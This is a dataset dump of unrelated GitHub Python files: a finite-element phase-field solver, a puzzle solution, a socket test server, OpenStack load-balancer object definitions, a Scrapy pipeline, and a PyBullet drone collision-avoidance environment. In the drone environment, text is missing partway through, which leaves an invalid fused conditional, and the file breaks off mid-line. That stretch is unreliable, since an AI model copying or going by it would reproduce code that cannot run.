+{"seq_id":"37066359331","text":"import os\nfrom time import time\nfrom ufl import *\nfrom dune.fem.space import dglagrange\nfrom dune.fem.scheme import galerkin\nfrom dune.fem.plotting import plotPointData\nimport matplotlib.pyplot as plt\n\nclass Phasefield:\n def __init__(self, grid, problem):\n self.grid = grid\n self.problem = problem\n self.space = dglagrange(grid, order=1)\n self.d = TrialFunction(self.space)\n self.dd = TestFunction(self.space)\n self.dh = self.space.interpolate(1, name=\"dh\")\n self.uh = 0\n\n\n def __compile(self, verbose=False):\n P = self.problem\n betad = P.g_c * P.l * P.beta0\n n = FacetNormal(self.space)\n h = avg( CellVolume(self.space) ) / FacetArea(self.space)\n d, dd = self.d, self.dd\n\n Ad = -P.g_c / P.l * (1 - d) * dd * dx\n Ad += inner(P.g_c * P.l * grad(d), grad(dd)) * dx\n\n if self.uh != 0:\n Ad += P.dA(d) * P.Psi_p(self.uh) * dd * dx\n\n Ad += betad / h * inner(jump(d), jump(dd)) * dS\n Ad -= dot(dot(avg(P.g_c * P.l * grad(d)), n('+')), jump(dd)) * dS\n\n self.scheme = galerkin([Ad == 0], solver=(\"suitesparse\", \"umfpack\"),\n parameters={\"newton.verbose\": verbose}\n )\n\n\n def solve(self, verbose=False):\n if not hasattr(self, 'scheme'):\n self.__compile(verbose=verbose)\n\n start = time()\n\n self.scheme.solve(self.dh)\n\n if verbose:\n print(\"Took {:.2f}s\".format(time()-start))\n\n\n def plot(self, step, dir='out'):\n path = self.__getPath(dir, 'plot', 'png')\n\n plt.clf()\n plotPointData(self.dh, figure=plt.gcf(), gridLines=None, clim=[0,1],\n xlim=[0, self.problem.domainSize], ylim=[0, self.problem.domainSize])\n plt.savefig(path+'phasefield-'+str(step)+'.png', dpi=500)\n\n\n def __getPath(self, dir, prefix, type):\n name = self.problem.name\n directory = dir + '/' + name + '/' + type\n os.makedirs(directory, exist_ok=True)\n return directory + '/' + prefix + ('-' if prefix != '' else '')\n","repo_name":"samuelburbulla/pfdfm","sub_path":"pfdfm/models/phasefield.py","file_name":"phasefield.py","file_ext":"py","file_size_in_byte":1895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"13324685643","text":"_try = int(input())\nloop = 0\n\nwhile loop < _try:\n k = int(input())\n n = int(input())\n\n _list = list(range(1, n+1)) #0층\n empty = []\n\n for i in range(k):\n for j in range(n):\n empty.append(sum(_list[:j+1]))\n _list = empty[i*n : (i+1)*n]\n\n print(_list[-1])\n loop += 1\n\n","repo_name":"minkithub/baekjoon","sub_path":"q2775.py","file_name":"q2775.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"21813128725","text":"# server.py \nimport socket \nimport time\n\n# create a socket object\nserversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) \n\n# get local machine name\nhost = socket.gethostname() \n\nport = 9999 \n\n# bind to the port\nserversocket.bind((host, port)) \n\n# queue up to 5 requests\nserversocket.listen(5) \n\nwhile True:\n # establish a connection\n clientsocket,addr = serversocket.accept()\n tm = ''.encode('ascii')\n #print(\"*UY^TREW2\")\n #print(tm.decode('ascii'))\n while tm.decode('ascii') == '':\n tm = serversocket.recv(1024)\n print(\"received: \" + tm.decode('ascii'))\n clientsocket.send(tm)\n else:\n break\n \n \n#print(\"Got a connection from %s\" % str(addr))\n#currentTime = time.ctime(time.time()) + \"\\r\\n\"\n#clientsocket.send(currentTime.encode('ascii'))\n#clientsocket.close()\n\n","repo_name":"dugging1/SocketTesting","sub_path":"Servers/Server - Test.py","file_name":"Server - Test.py","file_ext":"py","file_size_in_byte":1014,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"10725190824","text":"from oslo_versionedobjects import base as obj_base\nfrom oslo_versionedobjects import fields as obj_fields\n\nfrom kuryr_kubernetes.objects import base as k_obj\nfrom kuryr_kubernetes.objects import fields as k_fields\n\n\n@obj_base.VersionedObjectRegistry.register\nclass LBaaSLoadBalancer(k_obj.KuryrK8sObjectBase):\n # Version 1.0: Initial version\n # Version 1.1: Added provider field and security_groups field.\n # Version 1.2: Added support for security_groups=None\n # Version 1.3: Added support for provider=None\n # Version 1.4: Added support for security_groups=[]\n VERSION = '1.4'\n\n fields = {\n 'id': obj_fields.UUIDField(),\n 'project_id': obj_fields.StringField(),\n 'name': obj_fields.StringField(),\n 'ip': obj_fields.IPAddressField(),\n 'subnet_id': obj_fields.UUIDField(),\n 'port_id': obj_fields.UUIDField(),\n 'provider': obj_fields.StringField(nullable=True,\n default=None),\n 'security_groups': k_fields.ListOfUUIDField(nullable=True,\n default=[]),\n }\n\n\n@obj_base.VersionedObjectRegistry.register\nclass LBaaSListener(k_obj.KuryrK8sObjectBase):\n VERSION = '1.0'\n\n fields = {\n 'id': obj_fields.UUIDField(),\n 'project_id': obj_fields.StringField(),\n 'name': obj_fields.StringField(),\n 'loadbalancer_id': obj_fields.UUIDField(),\n 'protocol': obj_fields.StringField(),\n 'port': obj_fields.IntegerField(),\n }\n\n\n@obj_base.VersionedObjectRegistry.register\nclass LBaaSPool(k_obj.KuryrK8sObjectBase):\n # Version 1.0: Initial version\n # Version 1.1: Added support for pool attached directly to loadbalancer.\n VERSION = '1.1'\n\n fields = {\n 'id': obj_fields.UUIDField(),\n 'project_id': obj_fields.StringField(),\n 'name': obj_fields.StringField(),\n 'loadbalancer_id': obj_fields.UUIDField(),\n 'listener_id': obj_fields.UUIDField(nullable=True),\n 'protocol': obj_fields.StringField(),\n }\n\n\n@obj_base.VersionedObjectRegistry.register\nclass LBaaSMember(k_obj.KuryrK8sObjectBase):\n VERSION = '1.0'\n\n fields = {\n 'id': obj_fields.UUIDField(),\n 'project_id': obj_fields.StringField(),\n 'name': obj_fields.StringField(),\n 'pool_id': obj_fields.UUIDField(),\n 'subnet_id': obj_fields.UUIDField(),\n 'ip': obj_fields.IPAddressField(),\n 'port': obj_fields.IntegerField(),\n }\n\n\n@obj_base.VersionedObjectRegistry.register\nclass LBaaSPubIp(k_obj.KuryrK8sObjectBase):\n VERSION = '1.0'\n\n fields = {\n 'ip_id': obj_fields.UUIDField(),\n 'ip_addr': obj_fields.IPAddressField(),\n 'alloc_method': obj_fields.StringField(),\n }\n\n\n@obj_base.VersionedObjectRegistry.register\nclass LBaaSState(k_obj.KuryrK8sObjectBase):\n VERSION = '1.0'\n\n fields = {\n 'loadbalancer': obj_fields.ObjectField(LBaaSLoadBalancer.__name__,\n nullable=True,\n default=None),\n 'listeners': obj_fields.ListOfObjectsField(LBaaSListener.__name__,\n default=[]),\n 'pools': obj_fields.ListOfObjectsField(LBaaSPool.__name__,\n default=[]),\n 'members': obj_fields.ListOfObjectsField(LBaaSMember.__name__,\n default=[]),\n 'service_pub_ip_info': obj_fields.ObjectField(LBaaSPubIp.__name__,\n nullable=True,\n default=None),\n }\n\n\n@obj_base.VersionedObjectRegistry.register\nclass LBaaSPortSpec(k_obj.KuryrK8sObjectBase):\n VERSION = '1.1'\n # Version 1.0: Initial version\n # Version 1.1: Added targetPort field.\n\n fields = {\n 'name': obj_fields.StringField(nullable=True),\n 'protocol': obj_fields.StringField(),\n 'port': obj_fields.IntegerField(),\n 'targetPort': obj_fields.StringField(),\n }\n\n\n@obj_base.VersionedObjectRegistry.register\nclass LBaaSServiceSpec(k_obj.KuryrK8sObjectBase):\n VERSION = '1.0'\n\n fields = {\n 'ip': obj_fields.IPAddressField(nullable=True, default=None),\n 'ports': obj_fields.ListOfObjectsField(LBaaSPortSpec.__name__,\n default=[]),\n 'project_id': obj_fields.StringField(nullable=True, default=None),\n 'subnet_id': obj_fields.UUIDField(nullable=True, default=None),\n 'security_groups_ids': k_fields.ListOfUUIDField(default=[]),\n 'type': obj_fields.StringField(nullable=True, default=None),\n 'lb_ip': obj_fields.IPAddressField(nullable=True, default=None),\n }\n\n\ndef flatten_object(ovo_primitive):\n if type(ovo_primitive) is dict:\n d = {}\n for k, v in ovo_primitive['versioned_object.data'].items():\n d[k] = flatten_object(v)\n return d\n elif type(ovo_primitive) is list:\n ls = []\n for v in ovo_primitive:\n ls.append(flatten_object(v))\n return ls\n else:\n return ovo_primitive\n","repo_name":"openstack/kuryr-kubernetes","sub_path":"kuryr_kubernetes/objects/lbaas.py","file_name":"lbaas.py","file_ext":"py","file_size_in_byte":5195,"program_lang":"python","lang":"en","doc_type":"code","stars":152,"dataset":"github-code","pt":"78"}
+{"seq_id":"25626677166","text":"# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://docs.scrapy.org/en/latest/topics/item-pipeline.html\n\n\n# useful for handling different item types with a single interface\n\n\n# import uuid\n\nimport scrapy\nfrom itemadapter import ItemAdapter\n\n\nclass PicspiderPipeline:\n def process_item(self, item, spider):\n adapter = ItemAdapter(item)\n picName = adapter['filename']\n picFile = adapter['picurl']\n with open(\"C:/chenjimiao/project/python/aiTeacherPlan/images4/\" + '{}.jpg'.format(picName),\n 'wb') as f:\n f.write(picFile)\n print('xxxxxxxx-----------xxxxxxxxxxxxx----完成PicspiderPipeline')\n return item\n\n # def saveing(self, response):\n # # filename = '00.jpg'\n # # with open(filename, 'wb') as fp:\n # # fp.write(response.body)\n # # print('xxxxxxxx-----------xxxxxxxxxxxxx----完成saveing')\n #\n # # self.picName = uuid.uuid1()\n # self.picName = response.item['filename']\n # with open(\"C:/chenjimiao/project/python/aiTeacherPlan/picspider/images2/\" + '{}.jpg'.format(self.picName),\n # 'wb') as f:\n # f.write(response.body)\n # print('xxxxxxxx-----------xxxxxxxxxxxxx----完成saveing')\n","repo_name":"sciencechen/picspider","sub_path":"picSpider/picSpider/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"}
+{"seq_id":"5292867566","text":"import os\nimport random\nfrom tkinter import PhotoImage\nimport numpy as np\nfrom gym import spaces\nfrom enum import Enum\nimport math\nimport pybullet as p\nfrom random import choice\nfrom gym_pybullet_drones.utils.adsbcenter import adsbcenter as adsbcenter\nfrom gym_pybullet_drones.envs.BaseAviary import BaseAviary\nfrom gym_pybullet_drones.utils.enums import DroneModel, Physics, ImageType\nfrom gym_pybullet_drones.utils.utils import nnlsRPM\nfrom gym_pybullet_drones.control.DSLPIDControl import DSLPIDControl\nfrom gym_pybullet_drones.control.SimplePIDControl import SimplePIDControl\nfrom gym_pybullet_drones.envs.single_agent_rl.BaseSingleAgentAviary import ActionType, ObservationType\n\n\nclass ControlAviary(BaseAviary):\n \"\"\"Multi-drone environment class for control applications.\"\"\"\n\n ################################################################################\n \n\n def __init__(self,\n drone_model: DroneModel=DroneModel.CF2X,\n num_drones: int=30,\n neighbourhood_radius: float=np.inf,\n initial_xyzs=None,\n initial_rpys=None,\n physics: Physics=Physics.PYB,\n freq: int=240,\n aggregate_phy_steps: int=5,\n gui=False,\n record=False,\n obstacles=False,\n user_debug_gui=True,\n output_folder='results',\n obs: ObservationType=ObservationType.KIN,\n act: ActionType=ActionType.TUN\n ):\n self.PERIOD = 30\n vision_attributes = True if obs == ObservationType.RGB else False\n dynamics_attributes = True if act in [ActionType.DYN, ActionType.ONE_D_DYN] else False\n self.typeA = num_drones\n self.typeB = num_drones-1 \n self.OBS_TYPE = obs\n self.ACT_TYPE = act\n self.ctrl_b = [DSLPIDControl(drone_model=DroneModel.CF2X) for i in range(self.typeB)]\n self.reward_c=0\n self.reward_collision=0\n self.reward_p=0\n self.reward_t=0\n self.Done=False\n self.INIT_XYZSforA=[0,0,0.5]\n self.INIT_RPYSforA=[0.0,0.0,0.0]\n self.INIT_XYZSforB = np.zeros((self.typeB,3))\n self.INIT_RPYSforB = np.zeros((self.typeB,3))\n self.epsilon=0\n self.NUM_WP = int((freq * self.PERIOD) /aggregate_phy_steps)\n self.ADSB_info = np.zeros((num_drones,6))\n self.ADSB_unchange=np.zeros((num_drones,6))\n self.ADSB_noise=np.zeros((num_drones,6))\n self.TARGET_POS_B = np.zeros((self.typeB,self.NUM_WP,3))\n self.cloest_d_collision=[]\n self.mean_d_collision=[]\n #### Create integrated controllers #########################\n if act in [ActionType.PID, ActionType.VEL, ActionType.TUN, ActionType.ONE_D_PID]:\n os.environ['KMP_DUPLICATE_LIB_OK']='True'\n if drone_model in [DroneModel.CF2X, DroneModel.CF2P]:\n self.ctrl = DSLPIDControl(drone_model=DroneModel.CF2X)\n if act == ActionType.TUN:\n self.TUNED_P_POS = np.array([.4, .4, 1.25])\n self.TUNED_I_POS = np.array([.05, .05, .05])\n self.TUNED_D_POS = np.array([.2, .2, .5])\n self.TUNED_P_ATT = np.array([70000., 70000., 60000.])\n self.TUNED_I_ATT = np.array([.0, .0, 500.])\n self.TUNED_D_ATT = np.array([20000., 20000., 12000.])\n else:\n print(\"[ERROR] in BaseSingleAgentAviary.__init()__, no controller is available for the specified drone_model\")\n \"\"\"Initialization of an aviary environment for control applications.\n\n Parameters\n ----------\n drone_model : DroneModel, optional\n The desired drone type (detailed in an .urdf file in folder `assets`).\n num_drones : int, optional\n The desired number of drones in the aviary.\n neighbourhood_radius : float, optional\n Radius used to compute the drones' adjacency matrix, in meters.\n initial_xyzs: ndarray | None, optional\n (NUM_DRONES, 3)-shaped array containing the initial XYZ position of the drones.\n initial_rpys: ndarray | None, optional\n (NUM_DRONES, 3)-shaped array containing the initial orientations of the drones (in radians).\n physics : Physics, optional\n The desired implementation of PyBullet physics/custom dynamics.\n freq : int, optional\n The frequency (Hz) at which the physics engine steps.\n aggregate_phy_steps : int, optional\n The number of physics steps within one call to `BaseAviary.step()`.\n gui : bool, optional\n Whether to use PyBullet's GUI.\n record : bool, optional\n Whether to save a video of the simulation in folder `files/videos/`.\n obstacles : bool, optional\n Whether to add obstacles to the simulation.\n user_debug_gui : bool, optional\n Whether to draw the drones' axes and the GUI RPMs sliders.\n\n \"\"\"\n\n self.TRAJ_STEPS = int((freq* self.PERIOD) / aggregate_phy_steps)\n self.CTRL_TIMESTEP = 1./freq*aggregate_phy_steps\n self.TARGET_POSITION = np.array([[50*i/self.TRAJ_STEPS+self.INIT_XYZSforA[0],10*np.sin(5*i/self.TRAJ_STEPS)+self.INIT_XYZSforA[1],30*i/self.TRAJ_STEPS+self.INIT_XYZSforA[2]] for i in range(self.TRAJ_STEPS)])\n #### Derive the trajectory to obtain target velocity #######\n self.TARGET_VELOCITY = np.zeros([self.TRAJ_STEPS, 3])\n self.TARGET_VELOCITY[1:, :] = (self.TARGET_POSITION[1:, :] - self.TARGET_POSITION[0:-1, :]) / self.CTRL_TIMESTEP\n\n self._initialpositionforB()\n self._pathforBtype()\n \n initial_xyzs=np.vstack((self.INIT_XYZSforB,self.INIT_XYZSforA))\n initial_rpys=np.vstack((self.INIT_RPYSforB,self.INIT_RPYSforA))\n self.EPISODE_LEN_SEC = 30 \n self.adsbserver = adsbcenter(num_drones,self.TRAJ_STEPS)\n\n super().__init__(drone_model=drone_model,\n num_drones=num_drones,\n neighbourhood_radius=neighbourhood_radius,\n initial_xyzs=initial_xyzs,\n initial_rpys=initial_rpys,\n physics=physics,\n freq=freq,\n aggregate_phy_steps=aggregate_phy_steps,\n gui=gui,\n record=record,\n obstacles=obstacles,\n user_debug_gui=user_debug_gui,\n output_folder=output_folder,\n dynamics_attributes=dynamics_attributes\n )\n\n ################################################################################\n def _initialpositionforB(self):\n \"\"\".\n Returns\n -------\n ndarray[NUM_DRONES,3],ndarray[NUM_DRONES,3]\n A array of Box(3,) with NUM_DRONES entries,\n \"\"\" \n for j in range (self.typeB):\n #k_1 = random.uniform(10, -10)\n k_1=random.uniform(24.0+0,50.0+0 )\n k_2=random.uniform(-24.0+0,24.0+0)\n k_3=random.uniform(3.5,5)\n \n self.INIT_XYZSforB[j,:] = k_1, k_2, k_3\n self.INIT_RPYSforB[j,:] = 0.0, 0.0, 0.0\n \n \n def _pathforBtype(self):\n \n NUM_WP = self.NUM_WP\n for j in range (self.typeB):\n aindex=random.randint(0.0,6.0)\n list=[1,-1] \n k_0=choice(list)\n k_1=random.uniform(120,150)\n k_2=random.uniform(5.0,6.0)\n k_3=random.uniform(80.0,100.0)\n k_4=random.uniform(0.0,45.05)\n k_5=random.uniform(20.0,25.0)\n R = random.uniform(0.0,1.0)\n for i in range(NUM_WP):\n if aindex==0:\n waypoints=np.array([self.INIT_XYZSforB[j, 0]+k_0*k_1*i/NUM_WP, self.INIT_XYZSforB[j, 1]+k_0*k_1*i/NUM_WP,self.INIT_XYZSforB[j, 2]+k_4*i/NUM_WP]) #Straight line\n elif aindex==1:\n waypoints=np.array([k_0*k_2*np.cos((i/NUM_WP)*6+np.pi/2)+self.INIT_XYZSforB[j, 0], k_2*k_0*np.sin((i/NUM_WP)*6)-R+self.INIT_XYZSforB[j, 1], self.INIT_XYZSforB[j, 2]+k_4*i/NUM_WP]) #Spirals\n elif aindex==2:\n waypoints=np.array([k_3*k_0*i/NUM_WP+self.INIT_XYZSforB[j, 0], k_0*k_5*math.log(10*i/NUM_WP+1)+self.INIT_XYZSforB[j, 1], self.INIT_XYZSforB[j, 2]+k_4*i/NUM_WP]) #Logarithmic curves\n elif aindex==3:\n waypoints=np.array([k_3*k_0*i/NUM_WP+self.INIT_XYZSforB[j, 0], k_2*k_0*np.sin(i/NUM_WP*6)+self.INIT_XYZSforB[j, 1], self.INIT_XYZSforB[j, 2]+(i/NUM_WP)*k_4]) #Sine\n elif aindex==4:\n waypoints=np.array([k_3*k_0*i/NUM_WP+self.INIT_XYZSforB[j, 0], k_2*k_0*np.cos(i/NUM_WP*6+0.5*np.pi)+self.INIT_XYZSforB[j, 1], self.INIT_XYZSforB[j, 2]+(i/NUM_WP)*k_4]) #Cosine\n else: \n waypoints=np.array([k_3*k_0*i/NUM_WP+self.INIT_XYZSforB[j, 0], k_3*k_0*(i/NUM_WP)*(i/NUM_WP)+self.INIT_XYZSforB[j, 1], self.INIT_XYZSforB[j, 2]+(i/NUM_WP)*k_4]) #Parabola\n self.TARGET_POS_B[j, i, :]=waypoints\n\n def _actionSpace(self):\n \"\"\"Returns the action space of the environment.\n\n Returns\n -------\n dict[str, ndarray]\n A Dict of Box(4,) with NUM_DRONES entries,\n indexed by drone Id in string format.\n\n \"\"\"\n self.ACT_TYPE == ActionType.TUN\n act_lower_bound = np.array([-0.2,-0.2,-0.2,-0.2,-0.2,-0.2])\n act_upper_bound = np.array([0.2, 0.2, 0.2, 0.2,0.2, 0.2])\n return spaces.Box(low=act_lower_bound,\n high=act_upper_bound,\n dtype=np.float32\n )\n ################################################################################\n\n def _observationSpace(self):\n \"\"\"Returns the observation space of the environment.\n\n Returns\n -------\n dict[str, dict[str, ndarray]]\n A Dict with NUM_DRONES entries indexed by Id in string format,\n each a Dict in the form {Box(20,), MultiBinary(NUM_DRONES)}.\n\n \"\"\"\n #x,y,z,r,p,y,u,v,w,dh,dv,xyr,zR,rpR,TRR\n\n return spaces.Box(low=np.array([-1,-1,0, -1,-1,-1, -1,-1,0, 0,-1,0,-1,0,-1]),\n high=np.array([1,1,1, 1,1,1, 1,1,1, 1,1,1,1,1,1]),\n dtype=np.float32\n )\n\n ################################################################################\n\n def _computeObs(self):\n \"\"\"Returns the current observation of the environment.\n\n For the value of key \"state\", see the implementation of `_getDroneStateVector()`,\n the value of key \"neighbors\" is the drone's own row of the adjacency matrix.\n\n Returns\n -------\n dict[str, dict[str, ndarray]]\n A Dict with NUM_DRONES entries indexed by Id in string format,\n each a Dict in the form {Box(20,), MultiBinary(NUM_DRONES)}.\n\n \"\"\"\n\n return self._clipAndNormalizeState(self._ProcessADSB())\n ############################################################\n #### OBS OF SIZE 20 (WITH QUATERNION AND RPMS)\n # return obs\n ############################################################\n #### OBS SPACE OF SIZE 12\n #ret = np.hstack(obs[0:14]).reshape(12,)\n #ret = np.hstack(obs[0:14]).reshape(14,)\n \n #return ret.astype('float32')\n # adjacency_mat = self._getAdjacencyMatrix()\n # return {str(i): {\"state\": self._getDroneStateVector(i), \"neighbors\": adjacency_mat[i, :]} for i in range(self.NUM_DRONES)}\n\n ################################################################################\n\n\n def _calculatestate(self): \n\n #output: state for type B UAVs\n\n Phi = np.zeros(self.NUM_DRONES)\n GS = np.zeros(self.NUM_DRONES)\n theta=np.zeros(self.NUM_DRONES)\n Ve= np.zeros(self.NUM_DRONES)\n for j in range(self.NUM_DRONES):\n if self.vel[j,0]==0:\n Phi[j]==0\n GS[j] = math.sqrt(math.pow(self.vel[j,0],2)+math.pow(self.vel[j,1],2))\n Ve[j] = math.sqrt(math.pow(self.vel[j,1],2)+math.pow(self.vel[j,2],2))\n elif self.vel[j,1]==0:\n Phi[j]==np.pi*0.5\n GS[j] = math.sqrt(math.pow(self.vel[j,0],2)+math.pow(self.vel[j,1],2))\n Ve[j] = math.sqrt(math.pow(self.vel[j,1],2)+math.pow(self.vel[j,2],2))\n else:\n Phi[j]= math.atan(self.vel[j,0]/self.vel[j,1])\n GS[j] = math.sqrt(math.pow(self.vel[j,0],2)+math.pow(self.vel[j,1],2))\n Ve[j] = math.sqrt(math.pow(self.vel[j,1],2)+math.pow(self.vel[j,2],2))\n for j in range(self.NUM_DRONES):\n if self.vel[j,2]==0:\n theta[j]==0\n if self.vel[j,1]==0:\n theta[j]==math.pi\n else:\n theta[j]= math.atan(self.vel[j,2]/self.vel[j,1])\n\n return GS,Phi,theta,Ve\n\n def _collisiondetection(self):\n\n #ID start 1\n #Detection collision\n P_min, P_max = p.getAABB((self.typeA))\n id_tuple = p.getOverlappingObjects(P_min, P_max)\n if id_tuple==None:\n self.reward_collision=-1\n self.Done=True\n return P_max,self.reward_collision\n if len(id_tuple) > 1:\n for ID, _ in id_tuple:\n if ID == (self.typeA):\n continue\n else:\n print(f\"UAV hits the obstacle {p.getBodyInfo(ID)}\")\n self.reward_collision=-1\n self.Done=True\n break\n return P_max, self.reward_collision\n\n\n def _collisionforA(self,GS,Phi,theta,Ve):\n #def the detection/punishment area\n P_max, reward_collision=self._collisiondetection()\n r=24.0 #maximum horizontal speed for target UAV*time\n h=3.5 #maximum vertical speed for target UAV*time\n min_collision=1E15 \n d_collisions=[]\n j_min=-1\n reward_c=-1\n ADSB_info = np.zeros((self.NUM_DRONES,6))\n ADSB_noise=[]\n frequency=48 #Set the frequency of ADS-B signal e.g. 2,4,6,8,12,24,48\n time_step=48/frequency\n for j in range(self.NUM_DRONES):\n ADSB_info[j,0:3]=self.pos[j]\n ADSB_info[j,3]=Phi[j]\n ADSB_info[j,4]=GS[j]\n ADSB_info[j,5]=self.vel[j,2]\n step=int(self.step_counter / self.AGGR_PHY_STEPS)\n ADSB_noise=self.adsbserver.addnoise(ADSB_info) #add error for ADS-B signal\n\n if (step==0):\n self.adsbserver.SendToadsb(ADSB_noise,step) #Encode the ADS-B information\n ADSB_info=self.adsbserver.ReceiveFromadsb(step) #Decode the ADS-B signal\n ADSB_info=self.adsbserver.filterdata(ADSB_info,step) #send to Kalman filter\n self.ADSB_unchange=ADSB_info #save the information for this step\n elif (step % time_step==0):\n self.adsbserver.SendToadsb(ADSB_noise,step)\n ADSB_info=self.adsbserver.ReceiveFromadsb(step)\n ADSB_info=self.adsbserver.filterdata(ADSB_info,step)\n self.ADSB_unchange=ADSB_info\n else:\n ADSB_info=self.ADSB_unchange\n\n for j in range(self.typeB):\n #horizontal velocity and vertical velocity\n v_rh=math.sqrt(math.pow(ADSB_info[j,4],2)+math.pow(ADSB_info[self.typeA-1,4],2)-2*abs(ADSB_info[j,4])*abs(ADSB_info[self.typeA-1,4])*math.cos(ADSB_info[j,3]-ADSB_info[self.typeA-1,3]))\n v_ve=math.sqrt(math.pow(ADSB_info[j,5],2)+math.pow(ADSB_info[self.typeA-1,5],2)-2*abs(ADSB_info[j,5])*abs(ADSB_info[self.typeA-1,5])*math.cos(theta[j]-theta[(self.typeA-1)]))\n d_h=np.linalg.norm(ADSB_info[j,:3]-ADSB_info[self.typeA-1,:3],ord=2)\n V_rh=max(0.00001,v_rh)\n V_ve=max(0.00001,v_ve)\n d_v=np.linalg.norm([ADSB_info[j,1]-ADSB_info[self.typeA-1,1],ADSB_info[j,2]-ADSB_info[self.typeA-1,2]])\n t_collision_h=d_h/V_rh\n t_collision_v=d_v/V_ve\n #determine the collision time\n t_collision=min(t_collision_h,t_collision_v)\n cloest_distance=min(d_h,d_v)\n d_collisions.append(cloest_distance)\n if min_collision>t_collision:\n min_collision=t_collision\n j_min=j #feedback the cloest UAV\n if (abs(ADSB_info[j,0]-ADSB_info[self.typeA-1,0])**2+abs(ADSB_info[j,1]-ADSB_info[self.typeA-1,1])**2)<=r**2 or \\\n (ADSB_info[self.typeA-1,2]+h)>ADSB_info[j,2] or \\\n (ADSB_info[self.typeA-1,2]-h) self.EPISODE_LEN_SEC:\n self._pathforBtype()\n self.Done=False\n return True\n else:\n return False\n\n ################################################################################\n \n def _computeInfo(self):\n \"\"\"Computes the current info dict(s).\n\n Unused as this subclass is not meant for reinforcement learning.\n\n Returns\n -------\n dict[str, int]\n Dummy value.\n\n \"\"\"\n return {\"answer\": 42} \n\n # def _addObstacles(self):\n # super()._addObstacles()\n # p.loadURDF(\"cube_small.urdf\",\n # [13.9, 9.8, 8.8],\n # p.getQuaternionFromEuler([0, 0, 0]),\n # physicsClientId=self.CLIENT)\n \n def _clipAndNormalizeState(self,\n state\n ):\n MAX_LIN_VEL_XY=10.0\n MAX_LIN_VEL_Z=2.0\n\n MAX_XY=MAX_LIN_VEL_XY*self.PERIOD\n MAX_Z=MAX_LIN_VEL_Z*self.PERIOD\n MAX_PITCH_ROLL = np.pi # Full range\n\n MAX_RELAV_H=14.0\n MAX_RELAV_V=2.0\n MAX_RELAD_H=MAX_RELAV_H*self.PERIOD\n MAX_RELAD_V=MAX_RELAV_V*self.PERIOD\n MAX_PITCH_ROLL_R = np.pi # Full range\n \n clipped_pos_xy = np.clip(state[0:2], -MAX_XY, MAX_XY)\n clipped_pos_z = np.clip(state[2], 0, MAX_Z)\n clipped_rp = np.clip(state[3:5], -MAX_PITCH_ROLL, MAX_PITCH_ROLL)\n clipped_vel_xy = np.clip(state[6:8], -MAX_LIN_VEL_XY, MAX_LIN_VEL_XY)\n clipped_vel_z = np.clip(state[8], 0, MAX_LIN_VEL_Z)\n clipped_pos_relaD_H=np.clip(state[9], 0, MAX_RELAD_H)\n clipped_pos_relaD_V=np.clip(state[10], -MAX_RELAD_V, MAX_RELAD_V)\n clipped_vel_xyR=np.clip(state[11], 0, MAX_RELAV_H)\n clipped_vel_zR=np.clip(state[12], -MAX_RELAV_V, MAX_RELAV_V)\n clipped_rpR=np.clip(state[13],0, MAX_PITCH_ROLL_R)\n \n normalized_pos_xy = clipped_pos_xy / MAX_XY\n normalized_pos_z = clipped_pos_z / MAX_Z\n normalized_rp = clipped_rp / MAX_PITCH_ROLL\n normalized_y = state[5] / np.pi # No reason to clip\n normalized_vel_xy = clipped_vel_xy / MAX_LIN_VEL_XY\n normalized_vel_z = clipped_vel_z / MAX_LIN_VEL_XY\n normalized_pos_relaD_H=clipped_pos_relaD_H/MAX_RELAD_H\n normalized_pos_relaD_V=clipped_pos_relaD_V/MAX_RELAD_V\n normalized_vel_xyR=clipped_vel_xyR/MAX_RELAV_H\n normalized_vel_zR=clipped_vel_zR/MAX_RELAV_V\n normalized_rpR=clipped_rpR/MAX_PITCH_ROLL_R\n normalized_TRR=state[14]/np.pi\n norm_and_clipped = np.hstack([normalized_pos_xy,\n normalized_pos_z,\n normalized_rp,\n normalized_y,\n normalized_vel_xy,\n normalized_vel_z,\n normalized_pos_relaD_H,\n normalized_pos_relaD_V,\n normalized_vel_xyR,\n normalized_vel_zR,\n normalized_rpR,\n normalized_TRR\n ]).reshape(15)\n\n return norm_and_clipped\n \n def _clipAndNormalizeStateWarning(self,\n state,\n clipped_pos_xy,\n clipped_pos_z,\n clipped_rp,\n clipped_vel_xy,\n clipped_vel_z,\n clipped_pos_relaD_H,\n clipped_pos_relaD_V,\n clipped_vel_xyR,\n clipped_vel_zR,\n clipped_rpR,\n ):\n \"\"\"Debugging printouts associated to `_clipAndNormalizeState`.\n\n Print a warning if values in a state vector is out of the clipping range.\n \n \"\"\"\n if not(clipped_pos_xy == np.array(state[0:2])).all():\n print(\"[WARNING] it\", self.step_counter, \"in ControlAviary._clipAndNormalizeState(), clipped xy position [{:.2f} {:.2f}]\".format(state[0], state[1]))\n if not(clipped_pos_z == np.array(state[2])).all():\n print(\"[WARNING] it\", self.step_counter, \"in ControlAviary._clipAndNormalizeState(), clipped z position [{:.2f}]\".format(state[2]))\n if not(clipped_rp == np.array(state[3:5])).all():\n print(\"[WARNING] it\", self.step_counter, \"in ControlAviary._clipAndNormalizeState(), clipped roll/pitch [{:.2f} {:.2f}]\".format(state[3], state[5]))\n if not(clipped_vel_xy == np.array(state[6:8])).all():\n print(\"[WARNING] it\", self.step_counter, \"in ControlAviary._clipAndNormalizeState(), clipped xy velocity [{:.2f} {:.2f}]\".format(state[6], state[7]))\n if not(clipped_vel_z == np.array(state[8])).all():\n print(\"[WARNING] it\", self.step_counter, \"in ControlAviary._clipAndNormalizeState(), clipped z velocity [{:.2f}]\".format(state[8]))\n if not(clipped_pos_relaD_H == np.array(state[9])).all():\n print(\"[WARNING] it\", self.step_counter, \"in ControlAviary._clipAndNormalizeState(), clipped z velocity [{:.2f}]\".format(state[9]))\n if not(clipped_pos_relaD_V == np.array(state[10])).all():\n print(\"[WARNING] it\", self.step_counter, \"in ControlAviary._clipAndNormalizeState(), clipped z velocity [{:.2f}]\".format(state[10]))\n if not(clipped_vel_xyR == np.array(state[11])).all():\n 